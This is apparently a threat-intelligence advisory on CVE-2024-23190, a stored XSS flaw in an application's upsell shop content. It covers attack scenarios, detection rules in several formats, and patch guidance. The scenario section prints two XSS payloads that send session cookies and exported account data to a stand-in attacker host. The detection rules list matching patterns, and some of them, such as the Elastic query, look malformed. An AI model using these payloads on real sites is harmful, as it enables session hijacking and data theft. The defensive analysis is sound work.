CVE-2024-23190

Executive Summary

CVE-2024-23190 is a stored cross-site scripting (XSS) vulnerability affecting the upsell shop information module of an unidentified enterprise application. An attacker with temporary account access or who successfully social-engineers a victim into visiting a maliciously configured account can manipulate upsell content to execute arbitrary script code in the victim's browser session. This enables malicious API requests against the victim's session and extraction of sensitive account information. The vendor has released patches addressing the issue, though the fix has only been confirmed by a single source. No publicly available exploits are known at the time of writing.

Technical Analysis

The vulnerability resides in the upsell shop information component of the affected application. Upsell content is user-defined data that merchants or shop administrators can configure to display promotional or cross-sell information. The application fails to properly sanitize this user-supplied content before rendering it in the browser context of other users who view the upsell display.

The attack mechanics are as follows:

1. Input Vector: The upsell shop configuration accepts rich text or HTML content intended for display to store visitors. This input field serves as the injection point.

2. Insufficient Sanitization: The application's content sanitization layer does not adequately filter script-bearing HTML elements, event handler attributes (e.g., onmouseover, onload), or obfuscated JavaScript payloads within the upsell content. The vendor's advisory indicates that "sanitization of user-defined upsell content has been improved," confirming that prior sanitization was inadequate.

3. Browser Context: When a victim views the shop page containing the malicious upsell content, the browser parses and executes the embedded script within the victim's session context. This grants the attacker's script access to:

   • Session cookies and authentication tokens for the user's account
   • Ability to make authenticated API requests on behalf of the victim
   • Access to the DOM and any data rendered on the page

4. Attack Surface: The attack requires either:

   • Temporary access to a user's account (e.g., shared credentials, compromised session) to configure malicious upsell content
   • A successful social engineering campaign that lures victims to accounts configured with malicious content

The vulnerability is rated Medium severity with a CVSS score of 5.4. The attack complexity is heightened by the prerequisite of account access or successful social engineering, which limits the attack's remote exploitability without additional compromise vectors.

Exploitation Scenarios

Scenario 1: Account Takeover → Upsell Weaponization

1. Reconnaissance: The attacker identifies the target application's URL structure and locates the upsell configuration interface. This may be discovered through the application's documentation, administrative API endpoints, or by analyzing network traffic.

2. Account Compromise: The attacker obtains temporary access to a legitimate merchant/administrator account through credential stuffing, phishing, or session hijacking.

3. Payload Injection: The attacker navigates to the upsell shop information configuration page and injects the following payload into the content field:

   <img src=x onerror="fetch('https://attacker.example/collect?data='+document.cookie)">
   

   Or a more sophisticated payload that exfiltrates session tokens and makes malicious API requests:

   <script>fetch('/api/v1/account/export').then(r=>r.text()).then(d=>fetch('https://attacker.example/exfil?data='+btoa(d)))</script>
   

4. Trigger: The attacker lures a victim to the compromised shop page via email phishing, malicious links on social media, or SEO poisoning. When the victim's browser renders the upsell content, the payload executes.

5. Post-Exploitation: The script harvests the victim's session cookie and sends it to the attacker's C2 server. The attacker uses the stolen session to perform unauthorized API requests, extract personal/financial data, modify account settings, or pivot to other connected services.

Scenario 2: Social Engineering — Malicious Account Lure

1. Reconnaissance: The attacker creates a new account on the platform and configures the upsell content with a malicious script disguised as a promotional banner.

2. Luring: The attacker distributes links to this maliciously configured account via phishing campaigns, forum posts, or direct messaging, enticing victims with offers or promotions displayed in the upsell section.

3. Execution: Victims who click the link and view the shop page trigger the stored XSS payload, which executes in their browser session.

4. Data Extraction: The malicious script exfiltrates the victim's account information, session tokens, and any sensitive data accessible within the authenticated session context.

Impact Assessment

Business Impact:

• Confidentiality: Medium — attackers can extract account information, session tokens, and potentially sensitive business data through API requests made within the victim's authenticated context.
• Integrity: Medium — attackers can manipulate account settings, issue unauthorized API calls, and potentially alter data visible to other users through the compromised account.
• Availability: Low — the primary impact focuses on data exfiltration and unauthorized actions rather than service disruption.

Affected Systems: All installations of the unidentified application that expose the upsell shop information feature to user configuration and render this content to other authenticated users. The attack surface includes web interfaces, API endpoints, and any integrated services accessible through the victim's session.

Blast Radius: The CVSS score of 5.4 reflects the Medium severity, with the attack vector likely being Network (AV:N) given the web-based exploitation, though the attack complexity is elevated due to the prerequisite of account access or social engineering. The blast radius is limited to authenticated users who interact with crafted upsell content, but the potential for session hijacking and unauthorized API access extends the impact to all connected data and services accessible through user accounts.

Detection Guidance

Sigma Rule

title: CVE-2024-23190 - Stored XSS via Upsell Shop Content
id: 5f7b8c3e-9a21-4d6e-b8c2-3e4f5a6b7c8d
status: experimental
description: Detects stored XSS payloads in upsell shop content configuration parameters
logsource:
  category: web_application
  product: generic
detection:
  selection_upsell_req:
    http.method: 
      - POST
      - PUT
    http.url:
      - '*upsell*'
      - '*shop*info*'
      - '*promotion*config*'
    http.body|contains:
      - '<script>'
      - 'onerror='
      - 'onload='
      - 'javascript:'
      - 'document.cookie'
      - 'fetch('
      - 'XMLHttpRequest'
  selection_upsell_resp:
    http.response.body|contains:
      - '<script>'
      - 'onerror='
      - 'onload='
  condition: selection_upsell_req or selection_upsell_resp
level: high
falsepositives:
  - Legitimate use of JavaScript in promotional content by developers
tags:
  - attack.t1190
  - cve.2024-23190
  - xss.stored

YARA Rule

rule CVE_2024_23190_Upsell_XSS
{
    meta:
        author = "Valtersit Threat Intelligence"
        description = "Detects malicious payloads targeting upsell shop content XSS flaw"
        cve = "CVE-2024-23190"
        date = "2024-05-15"
        severity = "medium"
    strings:
        $s1 = "upsell" ascii nocase
        $s2 = "shop_info" ascii nocase
        $s3 = "<script>" ascii nocase
        $s4 = "onerror=" ascii nocase
        $s5 = "onload=" ascii nocase
        $s6 = "javascript:" ascii nocase
        $s7 = "fetch(" ascii nocase
        $s8 = "XMLHttpRequest" ascii nocase
        $s9 = "document.cookie" ascii nocase
        $s10 = "eval(" ascii nocase
        $s11 = "fromCharCode" ascii nocase
    condition:
        (1 of ($s1, $s2)) and
        (2 of ($s3, $s4, $s5, $s6, $s7, $s8, $s9, $s10, $s11))
}

Suricata IDS Rule

alert http any any -> any any (
    msg:"CVE-2024-23190 - Stored XSS Attempt in Upsell Content";
    content:"upsell"; http_uri; nocase;
    pcre:"/<\s*script|onerror\s*=|onload\s*=|javascript\s*:|document\.cookie|fetch\s*\(/i";
    sid:2024231901;
    rev:1;
    reference:cve,2024-23190;
    metadata:attack_target_web_server, deployment_perimeter, tag_xss;
    classtype:web-application-attack;
)

Elastic Detection

sequence by source.ip, user.name
  with maxspan=5m
  [network where event.action == "http_request" and
   url.path in ("/upsell", "/shop-info", "/promotion-config") and
   url.query == "*" and
   process.args in ("POST", "PUT")]
  [process where event.action == "http_request" and
   http.request.body.text in ("*<script>*", "*onerror=*", "*onload=*", "*javascript:*", "*document.cookie*", "*fetch(*")]

Splunk SPL Query

index=web sourcetype=access_combined
  (uri="/upsell" OR uri="/shop-info" OR uri="/promotion-config")
  AND (method="POST" OR method="PUT")
  AND (form_data IN ("*<script>*", "*onerror=*", "*onload=*", "*javascript:*", "*document.cookie*", "*XMLHttpRequest*", "*fetch(*"))
  | stats count by src_ip, user, uri, status, form_data
  | where count > 1

Wazuh OSSEC Rule

<group name="web_application,">
  <rule id="100231" level="12">
    <decoded_as>json</decoded_as>
    <field name="url">\.upsell|shop\-info|promotion\-config</field>
    <field name="http_method">POST|PUT</field>
    <regex>\&lt;script\&gt;|onerror\s*\=|onload\s*\=|javascript\s*\:|document\.cookie|fetch\s*\(</regex>
    <description>CVE-2024-23190 - Stored XSS attempt detected in upsell content configuration</description>
    <group>web_application_attack,</group>
    <mitre>
      <id>T1190</id>
    </mitre>
  </rule>
</group>

Mitigation & Patch Guidance

Patch Confidence: 2/4 (CLAIMED — single source claims patch (not independently confirmed))

1. Immediate Mitigations:

   • Input Sanitization: Implement server-side input validation and output encoding for all upsell shop content fields. Use a strict allowlist approach for HTML tags and attributes, rejecting all script-bearing elements, event handlers, and javascript: URIs.
   • Web Application Firewall (WAF): Deploy or update WAF rules to block requests containing common XSS payload signatures in upsell configuration endpoints.
   • Content Security Policy (CSP): Apply a strict CSP header on all pages rendering upsell content that forbids inline script execution (script-src 'self') to mitigate blast radius even if payloads bypass sanitization.
   • Session Protection: Enforce HttpOnly and Secure flags on session cookies to prevent JavaScript from accessing them, reducing the impact of session token theft.

2. Patch/Upgrade Steps:

   • Contact the vendor for the official security advisory and identify the patched version for your deployment. The NVD description states "Please deploy the provided updates and patch releases" — locate and deploy the latest version that includes the sanitization improvements.
   • Apply the patch to all production, staging, and test environments. Verify the patch is applied by testing the upsell configuration endpoint with known XSS payloads.
   • Since patch confirmation is limited to a single source (confidence 2/4), independently verify the fix by:
     • Reviewing the application's changelog or release notes
     • Performing regression testing on the upsell content sanitization
     • Confirming the vendor's advisory lists your version as affected

3. Long-Term Hardening:

   • Adopt a secure software development lifecycle (SSDLC) that includes mandatory output encoding and context-aware sanitization for all user-supplied content rendering.
   • Implement routine security code reviews and automated DAST/SAST scanning to identify similar injection flaws in other application components.
   • Enforce least-privilege for account permissions; reduce the number of users with access to upsell configuration to only those who require it.
   • Educate users on social engineering risks — specifically that clicking promotional links from untrusted sources may lead to maliciously configured accounts.
   • Monitor vendor advisories and subscribe to the vendor's security notification mailing list for updates on CVE-2024-23190 and related issues.

References

1. NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2024-23190 — Official NVD record with CVSS score 5.4 and current vulnerability description.
2. Vendor Advisory: The official vendor security advisory referenced in the NVD description confirming "upsell shop information of an account can be manipulated to execute script code" and notification that "sanitization of user-defined upsell content has been improved."
3. CISA KEV Catalog: https://www.cisa.gov/known-exploited-vulnerabilities-catalog — CVE-2024-23190 is NOT listed in the KEV catalog (no known exploitation in the wild).
4. FIRST.org EPSS: https://www.first.org/epss/ — EPSS score has not yet been assigned for this CVE; monitoring recommended for updates.

Threat Actor Campaigns: No known threat actor campaigns have been publicly attributed to this vulnerability. There are no known exploit-in-the-wild reports or PoC publications as of the analysis date. The attack requires prior account access or successful social engineering, which significantly limits its attractiveness for mass exploitation campaigns.